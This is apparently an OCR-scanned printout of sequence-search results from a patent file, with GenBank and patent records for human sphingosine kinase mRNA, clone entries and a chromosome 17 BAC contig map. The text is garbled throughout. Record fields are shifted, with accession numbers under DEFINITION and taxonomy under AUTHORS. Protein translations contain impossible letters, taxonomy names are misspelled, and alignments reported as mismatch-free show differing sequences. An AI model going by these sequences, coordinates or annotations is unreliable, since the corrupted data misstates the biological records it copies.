 OY 1165 CCCAAGGATGGAAGAGTGTGTTGATGATGAGTATGAGTATGAGTATGAGTATGAGTATGAG 1224
 |||||||

Db 982 CCCAAGGATGGAAGAGTGTGTTGATGATGAGTATGAGTATGAGTATGAGTATGAGTATGAG 1041
 |||||||
 OY 1225 CAGGGCCAGGTGCACCCAACTACTTGTGATGTCAGCGGTGCTGTGAGAGCCGCCGCC 1284
 |||||||
 Db 1042 CAGGGCCAGGTGCACCCAACTACTTGTGATGTCAGCGGTGCTGTGAGAGCCGCCGCC 1101
 |||||||
 OY 1285 AGCTGAGAGCCCGACGATGTCACCGCCAGAGAGCCCTTATGACCCCTGCGCGCT 1344
 |||||||
 Db 1102 AGCTGAGAGCCCGACGATGTCACCGCCAGAGAGCCCTTATGACCCCTGCGCGCT 1161
 |||||||
 OY 1345 GTGCTTACTGTCTACTTGTGACAGACCTTCCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1404
 |||||||
 Db 1162 GTGCTTACTGTCTACTTGTGACAGACCTTCCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1221
 |||||||
 OY 1405 CAGCTCTGTGGGGGTGAGAGACCTCTCTGAGAGAGGAGTGAAGTGAAGTGAAGTGAAGTGAAG 1464
 |||||||
 Db 1222 CAGCTCTGTGGGGGTGAGAGACCTCTCTGAGAGAGGAGTGAAGTGAAGTGAAGTGAAGTGAAG 1281
 |||||||
 OY 1465 TTTGGGGGAGAGCCGAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAG 1524
 |||||||
 Db 1282 TTTGGGGGAGAGCCGAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAGTGAAG 1341
 |||||||
 OY 1525 GCGTATGTAAGGCGCTTGTCTGAGAGACCCCGACCCCGACCCGACCCGACCCGACCCGACCCGACCC 1584
 |||||||
 Db 1342 GCGTATGTAAGGCGCTTGTCTGAGAGACCCCGACCCCGACCCCGACCCGACCCGACCCGACCCGACCC 1401
 |||||||
 OY 1585 AAGTGCATTTCCCA 1598
 |||||||
 Db 1402 AAGTGCATTTCCCA 1415

 RESULT 9
 BC009419 1869 bp mRNA linear PRI 12-JUL-2001
 LOCUS Homo sapiens, clone MGC:15040 IMAGE:3506924, mRNA, complete cds.
 DEFINITION BC009419
 ACCESSION BC009419
 VERSION BC009419.1 GI:14495624
 KEYWORDS MGC.
 SOURCE Homo sapiens.
 ORGANISM Homo sapiens; Chordata; Craniata; Vertebrata; Euteleostomi;
 Eukaryota; Metazoa; Primates; Catarrhini; Hominiidae; Homo.
 REFERENCE 1 (bases 1 to 1869)
 AUTHORS Mammalia; Euthera; Primates; Catarrhini; Hominiidae; Homo.
 JOURNAL Direct Submission
 TITLE Submitted (19-JUN-2001) National Institutes of Health, Mammalian
 Gene Collection (MGC), Cancer Genomics Office, National Cancer
 Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590,
 USA
 NIH-MGC Project URL: <http://mgc.ncl.nih.gov>
 Contact: MGC help desk
 Email: cgabs-remail.nih.gov
 Tissue Procurement: DCTD/DTF
 cDNA Library Preparation: Rubin Laboratory
 cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
 DNA Sequencing by: Genome Sequence Centre,
 BC Cancer Agency, Vancouver, BC, Canada
 info@cgsc.bc.ca
 Steven Jones, Jennifer Asano, Ian Bosdet, Yaron Butterfield,
 Susanna Chan, Readman Chiu, Chris Fjell, Erin Garland, Kan Guin,
 Leticia Hsiao, Martin Krzywinski, Reta Kusche, Oliver Lee, Soo
 Sen Lee, Victor Ling, Carrie Mathewson, Candice McLeavy, Steven
 Ness, Pawan Pandoh, Anna-Lisa Prabhu, Parvaneh Saeedi, Jacqueline
 Schein, Duane Smalls, Michael Smith, Lorraine Spence, Jeff Stott,
 Michael Thorne, Miranda Tsai, Natasja van den Bosch, Jill Vardy,
 George Yang, Scott Zuyderduyn, Marco Maira.
 Clone distribution: MGC clone distribution information can be found
 through the I.M.A.G.E. Consortium/LNL at: <http://image.lnl.gov>
 Series: IRL Plate: 23 Row: e Column: 1
 This clone was selected for full length sequencing because it
 passed the following selection criteria: matched mRNA gi: 10433790.
 Location/Qualifiers

```

source
1..1869
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="MGC:15040 IMAGE:3506924"
/tissue_type="Kidney, renal cell adenocarcinoma"
/clone_lib="NH_MGC_14"
/lab_host="DH10B-R"
/notes="vector: pORB7"
381..1577
/codon_start=1
/product="Unknown (protein for MGC:15040)"
/protein_id="AAH09419.1"
/db_xref="GI:14495625"
/translation="MDPVGGCGRLFGFVFSAGSPRYLPRPCRYLVLLNPGSGKGA
LOIFRSHPOLLAFAEISPTLMLPRRHHARIVASELGRDALVYNSGGLMHEVY
NGMERPMETRIQKPLCLSLPAGSNALASLNTAGTEQVETNEDLNTCLLCLRL
LSPNMLSLTRASGLRFSVLUSLWGFADVDLESEKTRUGEMFTTGTDELRLALR
TYRGLATLPVGRVSKTPASPVVQGVPAHVLPLEPSPHTVVPDEDFVLA
LHSHLSEMPAAMPGRCAQVMHLFVRAGVSRAMLRLFLAMEKGRHMECEPYLA
YVPVAFRLPEPKGVFADGELMVSEAVOGQVHPNFMVYSGCEPSPSKPQOMP
PPEEPL"
BASE COUNT      322 a      570 c      623 g      354 t
ORIGIN
Query Match      35.8%; Score 572; DB 9; Length 1869;
Best Local Similarity 99.7%; Pred. No. 1.3e-312;
Matches 672; Conservative 0; Mismatches 2; Indels 0; Gaps 0;
QY 925 GTGTGCCCGACGAGAGACTTTGTGCTAGTCTGTGCACACTGTGCACCTGGCCAGT 984
DB 1173 GTGTGCCCGACGAGAGACTTTGTGCTAGTCTGTGCACACTGTGCACCTGGCCAGT 1232
QY 985 GAGATGTTGTCGACCCACATGGGCGGCTGTGCAGTGGCGCATCATCTGTTCTACAGG 1044
DB 1233 GAGATGTTGTCGACCCACATGGGCGGCTGTGCAGTGGCGCATCATCTGTTCTACAGG 1292
QY 1045 CGGCGGAGTGTCTGTCGTCATGTGTCGCTCTTCTGCGCATGAGAGAAGGACAG 1104
DB 1293 CGGCGGAGTGTCTGTCGTCATGTGTCGCTCTTCTGCGCATGAGAGAAGGACAG 1352
QY 1105 CATATGAGATGAATGCCCTACTTGGTATATGTGCCCGGTGGTCCCTCCGCTTGAG 1164
DB 1353 CATATGAGATGAATGCCCTACTTGGTATATGTGCCCGGTGGTCCCTCCGCTTGAG 1412
QY 1165 CCCAAGATGGGAAAGGTGTTTGCAGTGGATGGGGAATTGATGTTAGGAGGCGCG 1224
DB 1413 CCCAAGATGGGAAAGGTGTTTGCAGTGGATGGGGAATTGATGTTAGGAGGCGCG 1472
QY 1225 CAGGCGCAGGTGCACCCAAACTACTTGTGATGTCAGCGGTTGGTGAGCCCGGCC 1284
DB 1473 CAGGCGCAGGTGCACCCAAACTACTTGTGATGTCAGCGGTTGGTGAGCCCGGCC 1532
QY 1285 AGCTGGAAAGCCACAGATGCCACCGCAGAAAGCCCTTATGACCCCTGGGCGCGCT 1344
DB 1533 AGCTGGAAAGCCACAGATGCCACCGCAGAAAGCCCTTATGACCCCTGGGCGCGCT 1592
QY 1345 GTGCTTGTGTCTACTTGTGCAGAGCCCTTCTCTTCCCTAGGGGCGAGGCGCTGTCA 1404
DB 1593 GTGCTTGTGTCTACTTGTGCAGAGCCCTTCTCTTCCCTAGGGGCGAGGCGCTGTCA 1652
QY 1405 CAGCTCTGTGGGGGTGAGAGACTCTCTGTGAGAAGGAGTGAAGAGTGAAGGCTATGC 1464
DB 1653 CAGCTCTGTGGGGGTGAGAGACTCTCTGTGAGAAGGAGTGAAGAGTGAAGGCTATGC 1712
QY 1465 TTTGGGGGACAGGCGAGATGAAGTCTGGGTCAAGAGCCCAAGCTGCTGGGCCAGCT 1524
DB 1713 TTTGGGGGACAGGCGAGATGAAGTCTGGGTCAAGAGCCCAAGCTGCTGGGCCAGCT 1772
QY 1525 GCCTATGTAAAGGCTTTCTAGTGTGTTCTGAGACCCCAAGCCCAAGAACCAATTCATAA 1584
DB 1773 GCCTATGTAAAGGCTTTCTAGTGTGTTCTGAGACCCCAAGCCCAAGAACCAATTCATAA 1832
QY 1585 AAGTACATTTCCA 1598

```

```

DB 1833 AAGTACATTTCCA 1846
|||||
RESULT 10
AK095578 2502 bp mRNA linear pri 15-JUL-2002
AK095578
LOCUS Homo sapiens sphingosine kinase (SPHK1) mRNA.
DEFINITION Homo sapiens sphingosine kinase (SPHK1) mRNA.
ACCESSION AK095578
VERSION AK095578.1 GI:21754862
KEYWORDS oligo capsing; fls (full insert sequence).
SOURCE Homo sapiens fetal brain cDNA to mRNA, clone lib:FCBPF3
clone:FCBPF3001302.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE
AUTHORS Kawakami,B., Sugiyama,A., Takemoto,M., Sugiyama,T., Irie,R.,
Otsuki,T., Sato,H., Ota,T., Wakamatsu,A., Ishii,S., Yamamoto,J.,
Isono,Y., Kawai-Hio,Y., Saito,K., Nishikawa,T., Kimura,K.,
Yamashita,H., Matsuo,K., Nakamura,Y., Sekine,M., Kikuchi,H.,
Kanda,K., Wagatsuma,M., Murakawa,K., Kanehori,K.,
Takahashi-Fujii,A., Oshima,A., Suzuki,Y., Sugano,S., Nagahara,K.,
Masuko,Y., Nagai,K. and Isogai,T.
NEO human cDNA sequencing project
Unpublished
2 (bases 1 to 2502)
Isogai,T. and Yamamoto,J.
Direct Submission
Submitted (04-JUL-2002) Takao Isogai, FLJ Project(HRI Team); 2-6-7
Kazusa-Kamatarl, Kisarazu, Chiba 292-0812, Japan
(E-mail:genomics@hri.co.jp, Tel:81-438-52-3975, Fax:81-438-52-3986)
MEDO human cDNA sequencing project supported by Ministry of
Economy, Trade and Industry of Japan; cDNA full insert sequencing:
Research Association for Biotechnology (RAB); cDNA library
construction: Helix Research Institute (HRI) (supported by Japan
Key Technology Center etc.); 5'- 3'-end one pass sequencing: RAB,
HRI, and Biotechnology Center, National Institute of Technology and
Evaluation; clone selection for full insert sequencing: HRI and
RAB; annotation: HRI and RAB.
LOCATION/Qualifiers
1..2502
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="FCBPF3001302"
/tissue_type="brain"
/clone_lib="FCBPF3"
/dev_stage="fetal"
/notes="cloning vector: pME18FLJ3"
BASE COUNT      404 a      803 c      835 g      460 t
ORIGIN
Query Match      35.8%; Score 572; DB 9; Length 2502;
Best Local Similarity 99.7%; Pred. No. 1.3e-312;
Matches 672; Conservative 0; Mismatches 2; Indels 0; Gaps 0;
QY 925 GTGTGCCCGACGAGAGACTTTGTGCTAGTCTGTGCACACTGTGCACCTGGCCAGT 984
DB 1828 GTGTGCCCGACGAGAGACTTTGTGCTAGTCTGTGCACACTGTGCACCTGGCCAGT 1887
QY 985 GAGATGTTGTCGACCCACATGGGCGGCTGTGCAGTGGCGCATCATCTGTTCTACAGG 1044
DB 1888 GAGATGTTGTCGACCCACATGGGCGGCTGTGCAGTGGCGCATCATCTGTTCTACAGG 1947
QY 1045 CGGCGGAGTGTCTGTCGTCATGTGTCGCTCTTCTGCGCATGAGAGAAGGACAG 1104
DB 1948 CGGCGGAGTGTCTGTCGTCATGTGTCGCTCTTCTGCGCATGAGAGAAGGACAG 2007
QY 1105 CATATGAGATGAATGCCCTACTTGGTATATGTGCCCGGTGGTCCCTCCGCTTGAG 1164
DB 2008 CATATGAGATGAATGCCCTACTTGGTATATGTGCCCGGTGGTCCCTCCGCTTGAG 2067

```


13325 13794: contig of 1470 bp in length
13795 13894: gap of 100 bp
13895 16857: contig of 2963 bp in length
16858 16957: gap of 100 bp
16958 18266: contig of 1309 bp in length
18267 18366: gap of 100 bp
18367 20190: contig of 1824 bp in length
20191 20290: gap of 100 bp
20291 21460: contig of 1170 bp in length
21461 21560: gap of 100 bp
21561 23407: contig of 1847 bp in length
23408 23507: gap of 100 bp
23508 25455: contig of 1948 bp in length
25456 25555: gap of 100 bp
25556 27331: contig of 1776 bp in length
27332 27431: gap of 100 bp
27432 30406: contig of 2975 bp in length
30407 30506: gap of 100 bp
30507 32805: contig of 2299 bp in length
32806 32905: gap of 100 bp
32906 35659: contig of 2754 bp in length
35660 35759: gap of 100 bp
35760 37974: contig of 2215 bp in length
37975 38074: gap of 100 bp
38075 40521: contig of 2447 bp in length
40522 40621: gap of 100 bp
40622 43219: contig of 2598 bp in length
43220 43319: gap of 100 bp
43320 46161: contig of 2842 bp in length
46162 46261: gap of 100 bp
46262 48463: contig of 2202 bp in length
48464 48563: gap of 100 bp
48564 51275: contig of 2712 bp in length
51276 51375: gap of 100 bp
51376 53522: contig of 2147 bp in length
53523 53622: gap of 100 bp
53623 56955: contig of 3333 bp in length
56956 57055: gap of 100 bp
57056 59555: contig of 2500 bp in length
59556 59655: gap of 100 bp
59656 62713: contig of 3058 bp in length
62714 62813: gap of 100 bp
62814 66519: contig of 3706 bp in length
66520 66619: gap of 100 bp
66620 68930: contig of 2311 bp in length
68931 69030: gap of 100 bp
69031 72724: contig of 3694 bp in length
72725 72824: gap of 100 bp
72825 76092: contig of 3268 bp in length
76093 76192: gap of 100 bp
76193 80143: contig of 3951 bp in length
80144 80243: gap of 100 bp
80244 84957: contig of 4714 bp in length
84958 85057: gap of 100 bp
85058 88424: contig of 3367 bp in length
88425 88524: gap of 100 bp
88525 93428: contig of 4904 bp in length
93429 93528: gap of 100 bp
93529 97177: contig of 3649 bp in length
97178 97277: gap of 100 bp
97278 102713: contig of 5436 bp in length
102714 102813: gap of 100 bp
102814 109141: contig of 6328 bp in length
109142 109241: gap of 100 bp
109242 114513: contig of 5272 bp in length
114514 114613: gap of 100 bp
114614 124525: contig of 9912 bp in length
124526 124625: gap of 100 bp
124626 132364: contig of 7739 bp in length
132365 132464: gap of 100 bp
132465 139488: contig of 7024 bp in length
139489 139588: gap of 100 bp
139589 148734: contig of 9146 bp in length

* 148735 148834: gap of 100 bp
* 148835 159465: contig of 10631 bp in length
* 159466 159565: gap of 100 bp
* 159566 172685: contig of 13320 bp in length
* 172686 172785: gap of 100 bp
* 172786 183443: contig of 10658 bp in length.
location/Qualifiers
1. 183443

FEATURES

Source
/organism="Homo sapiens"
/db_xref="taxon:9606"
/chromosome="17"
/map="17"
/clone="CFD-2531H7"
/clone_11b="CFD Human BAC"
1. 1059
misc-feature
/note="assembly_fragment"
1160. 2777
misc-feature
/note="assembly_fragment"
2878. 4283
misc-feature
/note="assembly_fragment"
4384. 5447
misc-feature
/note="assembly_fragment"
5548. 6776
misc-feature
/note="assembly_fragment"
6877. 8215
misc-feature
/note="assembly_fragment"
8316. 9961
misc-feature
/note="assembly_fragment"
10062. 12224
misc-feature
/note="assembly_fragment"
12325. 13794
misc-feature
/note="assembly_fragment"
13895. 16857
misc-feature
/note="assembly_fragment"
16958. 18266
misc-feature
/note="assembly_fragment"
18367. 20190
misc-feature
/note="assembly_fragment"
20291. 21460

Query Match 32.6%; Score 521; DB 2; Length 183443;
Best Local Similarity 99.6%; Pred. No. 1.3e-283;
Matches 671; Mismatches 0; Indels 0; Gaps 0;

925 GTGGTCCCGACGAGACTTGTGCTAGCCGCGACGCTGACCTGCACCTGCGCCAGT 984
133840 GTGGTCCCGACGAGACTTGTGCTAGCCGCGACGCTGACCTGCACCTGCGCCAGT 133781
985 GAGATGTTGCTGCACCCATGCGCGCTGTGCACTGCGCTGATCATCTGTTCTAGCTG 1044
133780 GAGATGTTGCTGCACCCATGCGCGCTGTGCACTGCGCTGATCATCTGTTCTAGCTG 133721
1045 CGGCGCGGAGTGTCTGCTGCGATGCGCGCTGCGCTGCGCTGCGCTGCGCTGCGCTG 1104
133720 CGGCGCGGAGTGTCTGCTGCGATGCGCGCTGCGCGCTGCGCTGCGCTGCGCTGCG 133661
1105 CATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1164
133660 CATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 133601
1165 CCCAAGGATGGAAGAGTGTGTTGAGAGGATGGAAGATGGAAGATGGAAGATGGAAGATG 1224
133600 CCCAAGGATGGAAGAGTGTGTTGAGAGGATGGAAGATGGAAGATGGAAGATGGAAGATG 133541
1225 CAGGCGCAGGTGACCCAACTCTTGATGATGATGATGATGATGATGATGATGATGATGATG 1284
133540 CAGGCGCAGGTGACCCAACTCTTGATGATGATGATGATGATGATGATGATGATGATGATG 133481
1285 AGCTGGAAGCCCGACGATGCCACCGCCAGGAAGACCCCTTATGACCCCTGGGCGCGCT 1344
133480 AGCTGGAAGCCCGACGATGCCACCGCCAGGAAGACCCCTTATGACCCCTGGGCGCGCT 133421
1345 GTGCTTAGTGTCTACTTGACGAGACCTTCTCTCTTCCCTAGAGGCTGACAGGCGCTGTCCA 1404

|||||
Db 13420 GTGCTTAGTGTACTTGCAGAGACCCTCTCTCTCCCTAGAGCTGCAGAGGCTGTCCA 133361
Oy 1405 CAGTCTCTGTGGGGGTGGAGAGACTCTCTGGAAGGGTGAGAGCTGAGCTTATGC 1464
Db 13360 CAGTCTCTGTGGGGGTGGAGAGACTCTCTGGAAGGGTGAGAGCTGAGCTTATGC 133301
Oy 1465 TTGGGGGGAGAGCCAGAAATGAAGTCTGTGGTGGAGAGCCAGCTGGTGGCCAGCT 1524
Db 13300 TTGGGGGGAGAGCCAGAAATGAAGTCTGTGGTGGAGAGCCAGCTGGTGGCCAGCT 133241
Oy 1525 GCCTATGTAGAGCCCTTCTAGTTTCTGTGAGACCCCAACCCAGCAACAATCAATA 1584
Db 133240 GCCTATGTAGAGCCCTTCTAGTTTCTGTGAGACCCCAACCCAGCAACAATCAATA 133181
Oy 1585 AAGTGCATTGCCA 1598
Db 133180 AAGTGCATTGCCA 133167
RESULT 14
AF200328 1173 bp mRNA linear PRI 25-AUG-2000
LOCUS Homo sapiens sphingosine kinase (SPHK) mRNA, complete cds.
DEFINITION AF200328
ACCESSION AF200328.1 GI:9909360
VERSION
KEYWORDS
SOURCE Homo sapiens.
ORGANISM Homo sapiens.
REFERENCE Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.
1 (bases 1 to 1173)
REFERENCE Pitson,S.M., D'Andrea,R.J., Vandeleur,L., Moretti,P.A., Xia,P.,
Gamble,J.R., Vadas,M.A. and Wattenberg,B.W.
TITLE Human sphingosine kinase: purification, molecular cloning and
characterization of the native and recombinant enzymes
JOURNAL Biochem. J. 350 Pt 2, 429-441 (2000)
MEDLINE 20407120
PUBMED 10947957
2 (bases 1 to 1173)
REFERENCE Pitson,S.M., D'Andrea,R.J., Vandeleur,L., Moretti,P.A.B., Xia,P.,
Gamble,J.R., Vadas,M.A. and Wattenberg,B.W.
TITLE Direct Submission
JOURNAL Submitted (29-OCT-1999) Human Immunology, IMVS, Frome Road,
Adelaide, SA 5000, Australia
FEATURES
source Location/Qualifiers
1..1173
/organism="Homo sapiens"
/db_xref="taxon:9606"
/cell_type="vascular endothelial"
1..1173
/gene="SPHK"
19..1173
/gene="SPHK"
/codon_start=1
/product="sphingosine kinase"
/protein_id="AA601980.1"
/db_xref="GI:9909361"
/translation="MDPAGPRGVLPKPCRYLVLLNRGKRGKALQLFRRHYOPLAE
AEISFTLMEERHARELVRSBELGMDLVVMSGDLNHEVNGMEPDMETAIQ
KPLSFTLPAAGSNLAASLNHYAGYEQVTLNEDILNCLCRRLSPMNLISHTAG
LRPSVSLAMGFLADVDLSEKRYRLEGKRFETGLRLAALRTYGRALAYLPVGV
GSKRPASPVVVOGPDVAHLVPLEEPYPSMTYVPPDEPVLVLAALSHSGSEKFAF
MGRKACVNHILFYTRACVSRAMLRILFLAMEKGRHMETECRYLTVTVVAFRLPEKDG
KGFADVGEMLVSAVGOVHPNTEFNVVSCVEPPSMKPDQMPPEPL"

|||||
Db 1 GAGCGGGGGTCCAGGTTATGATCCAGCGGGGGGCCCGGGGGCGTGTCCGGGGCCC 60
Oy 217 TGCCGCTGCTGTGCTGTCTGAACCCCGCGGGCGCAAGGCAAGGCTTGTACCTTTC 276
Db 61 TGCCGCTGCTGTGCTGTCTGAACCCCGCGGGCGCAAGGCAAGGCTTGTACCTTTC 120
Oy 277 CGGAGTACGTCAGGCCCTTTTGGCTGAGGCTGAATTCCTTACAGCTGATGCTACT 336
Db 121 CGGAGTACGTCAGGCCCTTTTGGCTGAGGCTGAATTCCTTACAGCTGATGCTACT 180
Oy 337 GAGCGGGGAACCAACGCGGGGAGCTGTGCGGTGCGAGAGAGCTGGGCCCTGTGAGAGCT 396
Db 181 GAGCGGGGAACCAACGCGGGGAGCTGTGCGGTGCGAGAGAGCTGGGCCCTGTGAGAGCT 240
Oy 397 CTGGTGTATGTCGTGAGAGAGCGGCTGATCAGAGAGTGTGAACGGCTCATAGACGG 456
Db 241 CTGGTGTATGTCGTGAGAGAGCGGCTGATCAGAGAGTGTGAACGGCTCATAGACGG 300
Oy 457 CCTGACTGGAGAGACCGGCATCCAGAACCCCTGTGTAGCTCCAGAGGCTCTGGCAAC 516
Db 301 CCTGACTGGAGAGACCGGCATCCAGAACCCCTGTGTAGCTCCAGAGGCTCTGGCAAC 360
Oy 517 GCCTGGCAGCTTCTTGAACCATTTATGTGTGCTATGAGAGAGTCAACCAATGAGAGCTC 576
Db 361 GCCTGGCAGCTTCTTGAACCATTTATGTGTGCTATGAGAGAGTCAACCAATGAGAGCTC 420
Oy 577 CTGACCAACTGCACGCTATTGCTGTGCCGCC 607
Db 421 CTGACCAACTGCACGCTATTGCTGTGCCGCC 451
RESULT 15
AX127642 1155 bp DNA linear PAT 16-MAY-2001
LOCUS AX127642
DEFINITION Sequence 2 from Patent WO0131029.
ACCESSION AX127642
VERSION AX127642.1 GI:14134308
KEYWORDS
SOURCE human.
ORGANISM Homo sapiens
REFERENCE Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.
1 (bases 1 to 1155)
REFERENCE Allen,J., Gosink,M., Melendez,A.J. and Takacs,L.
TITLE Human sphingosine kinase gene
JOURNAL Patent: WO 0131029-A 2 03-MAY-2001;
WARNER-LAMBERT COMPANY (US)
FEATURES
source Location/Qualifiers
1..1155
/organism="Homo sapiens"
/db_xref="taxon:9606"
BASE COUNT 185 a 349 c 382 g 239 t
ORIGIN
Query Match 27.1%: Score 433; DB 6; Length 1155;
Best Local Similarity 100.0%; Pred. No. 1.1e-233; Indels 0; Gaps 0;
Matches 433; Conservative 0; Mismatches 0;
Oy 175 ATGATCCAGCGGGCGGCCCGCGGGGGTGTCTCCCGGGGCTCCCGCTGTGCTGTG 234
Db 1 ATGATCCAGCGGGCGGCCCGCGGGGGTGTCTCCCGGGGCTCCCGCTGTGCTGTG 60
Oy 235 CTGACCCCGCGGGCGGCAAGGAGCTTGTGACGCTTTCGCGAGTCACTGACAGCC 294
Db 61 CTGACCCCGCGGGCGGCAAGGAGCTTGTGACGCTTTCGCGAGTCACTGACAGCC 120
Oy 295 CTTTGGCTGAGGCTGAATCTCTCAGCTGTATGCTCACTGAGCGGGAACACAGCG 354
Db 121 CTTTGGCTGAGGCTGAATCTCTCAGCTGTATGCTCACTGAGCGGGAACACAGCG 180
Oy 355 CGGAGCTGTGCTGCTGTGAGAGAGCTGGCGGCTGGAGAGCTGTGCTATGCTTGA 414
|||||

```

Db      181 CGGAGCTGTGCGGTGCGAGAGCTGGGCGCTGGGACGCTCTGCTCATGTCTGGA 240
OY      415 GACGGGCTGATGTACAGAGTGTGACGGGCTTCATGAGGCGCTGACTGGGAGACCGCC 474
Db      241 GACGGGCTGATGTACAGAGTGTGACGGGCTTCATGAGGCGCTGACTGGGAGACCGCC 300
OY      475 ATCCAGAGCCCTGTGTAGCCCTCCAGCAGAGGCTCTGGCAACGCGCTGAGCTTCTTG 534
Db      301 ATCCAGAGCCCTGTGTAGCCCTCCAGCAGAGGCTCTGGCAACGCGCTGAGCTTCTTG 360
OY      535 AACCATTAATGCTGCTATGAGCAGTCCACCAATGAGAGCCTCTGACCAACTGACAGCTA 594
Db      361 AACCATTAATGCTGCTATGAGCAGTCCACCAATGAGAGCCTCTGACCAACTGACAGCTA 420
OY      595 TTGCTGTGCGCC 607
Db      421 TTGCTGTGCGCC 433

```

Search completed: July 12, 2003, 17:20:21
 Job time : 4156 secs

GenCore version 5.1.6
Copyright (c) 1993 - 2003 CompuGen Ltd.

OM nucleic - nucleic search, using sw model

Run on: July 12, 2003, 14:02:42 : Search time 273 Seconds
(Without alignments)
9248,401 Million cell updates/sec

Title: US-09-784-810A-1_COPY_2_1600
Perfect score: 1599
Sequence: 1 cccccgggagctctatagc.....aaataagtgacattcccaa 1599

Scoring table: IDENTITY NUC
Gapop 10.0 , Gapext 1.0

Searched: 1105431 seqs, 789497651 residues

Total number of hits satisfying chosen parameters: 2210862

Minimum DB seq length: 0
Maximum DB seq length: 2000000000

Post-processing: Minimum Match 0%
Maximum Match 100%
Listing first 45 summaries

Database :

Published_Applications_NA:*
1: /cgn2_6/ptodata/1/pubpna/US07_NEW_PUB.seq:*
2: /cgn2_6/ptodata/1/pubpna/PC7_NEW_PUB.seq:*
3: /cgn2_6/ptodata/1/pubpna/US06_NEW_PUB.seq:*
4: /cgn2_6/ptodata/1/pubpna/US06_PUBCOMB.seq:*
5: /cgn2_6/ptodata/1/pubpna/PC7US_PUBCOMB.seq:*
6: /cgn2_6/ptodata/1/pubpna/US08_NEW_PUB.seq:*
7: /cgn2_6/ptodata/1/pubpna/US08_PUBCOMB.seq:*
8: /cgn2_6/ptodata/1/pubpna/US08_PUBCOMB.seq:*
9: /cgn2_6/ptodata/1/pubpna/US09_NEW_PUB.seq:*
10: /cgn2_6/ptodata/1/pubpna/US09_PUBCOMB.seq:*
11: /cgn2_6/ptodata/1/pubpna/US10_NEW_PUB.seq:*
12: /cgn2_6/ptodata/1/pubpna/US10_PUBCOMB.seq:*
13: /cgn2_6/ptodata/1/pubpna/US60_NEW_PUB.seq:*
14: /cgn2_6/ptodata/1/pubpna/US60_PUBCOMB.seq:*

Pred. No. is the number of results predicted by chance to have a
score greater than or equal to the score of the result being printed,
and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	ID	Description
1	1599	100.0	1600	US-09-784-810A-1	Sequence 1, Appl1
2	1426.8	89.2	1533	US-10-023-282-90	Sequence 90, Appl1
3	1124.6	70.3	1155	US-09-970-516-1	Sequence 1, Appl1
4	836.4	52.3	1759	US-09-784-810A-3	Sequence 3, Appl1
5	742.4	46.4	1149	US-09-970-516-5	Sequence 5, Appl1
6	382.6	23.9	394	US-09-954-456-1756	Sequence 1756, Ap
7	286.6	17.9	480	US-09-783-590-9248	Sequence 9248, Ap
8	258	16.1	1857	US-09-970-516-3	Sequence 3, Appl1
9	258	16.1	2380	US-09-817-676A-13	Sequence 13, Appl1
10	242	15.1	2698	US-09-817-676A-11	Sequence 11, Appl1
11	197.4	12.3	199	US-09-796-692-2905	Sequence 2905, Ap
12	197.4	12.3	199	US-10-040-862-2905	Sequence 2905, Ap
13	193	12.1	296	US-10-015-219-658	Sequence 658, App
14	193	12.1	296	US-09-777-554-658	Sequence 658, App
15	51.8	3.2	2136	US-10-156-761-7476	Sequence 7476, Ap
16	51.8	3.2	3135	US-10-156-761-5936	Sequence 5936, Ap
17	51.8	3.2	9025608	US-10-156-761-1	Sequence 1, Appl1
18	51.8	3.2	9025608	US-10-156-761-1	Sequence 1, Appl1
19	51.2	3.2	1614	US-09-969-896-9	Sequence 9, Appl1

20	51.2	3.2	4413	US-09-969-896-16	Sequence 16, Appl1
21	49.6	3.1	1203	US-09-879-312-1	Sequence 1, Appl1
22	47.6	3.0	861	US-10-156-761-2134	Sequence 2134, Ap
23	47.6	2.9	68750	US-10-014-717-1	Sequence 1, Appl1
24	46.6	2.9	792	US-10-156-761-3938	Sequence 3938, Ap
25	46.6	2.9	1734	US-10-156-761-4994	Sequence 4994, Ap
26	46.4	2.9	2949	US-10-187-267A-12	Sequence 12, Appl1
27	46.4	2.9	36321	US-10-187-267A-1	Sequence 1, Appl1
28	46.4	2.9	53522	US-09-904-968A-1	Sequence 1, Appl1
29	46.2	2.9	11817	US-10-156-761-2884	Sequence 2884, Ap
30	46.2	2.9	125746	US-10-156-761-15102	Sequence 15102, A
31	46	2.9	1026	US-10-156-761-2671	Sequence 2671, Ap
32	46	2.9	3834	US-10-156-761-2681	Sequence 2681, Ap
33	45.8	2.9	1542	US-10-156-761-7255	Sequence 7255, Ap
34	45.6	2.9	1155	US-10-156-761-4992	Sequence 4992, Ap
35	45.6	2.9	4935	US-10-156-761-5059	Sequence 5059, Ap
36	45.6	2.9	9968	US-09-764-877-2718	Sequence 2718, Ap
37	45.4	2.8	1092	US-10-156-761-1710	Sequence 1710, Ap
38	45.4	2.8	2808	US-10-156-761-2021	Sequence 2021, Ap
39	45.2	2.8	3135	US-10-156-761-5936	Sequence 5936, Ap
40	45.2	2.8	158405	US-10-175-523-86	Sequence 86, Appl
41	45	2.8	1389	US-10-156-761-2751	Sequence 2751, Ap
42	45	2.8	1392	US-10-156-761-2601	Sequence 2601, Ap
43	44.8	2.8	1143	US-10-126-279-22	Sequence 22, Appl
44	44.8	2.8	1542	US-10-156-761-4659	Sequence 4659, Ap
45	44.8	2.8	1614	US-09-976-740-45	Sequence 45, Appl

ALIGNMENTS

RESULT 1
US-09-784-810A-1
Sequence 1, Application US/09784810A
Patent No. US20020082203A1
GENERAL INFORMATION:
APPLICANT: RASTELLI, LUCA
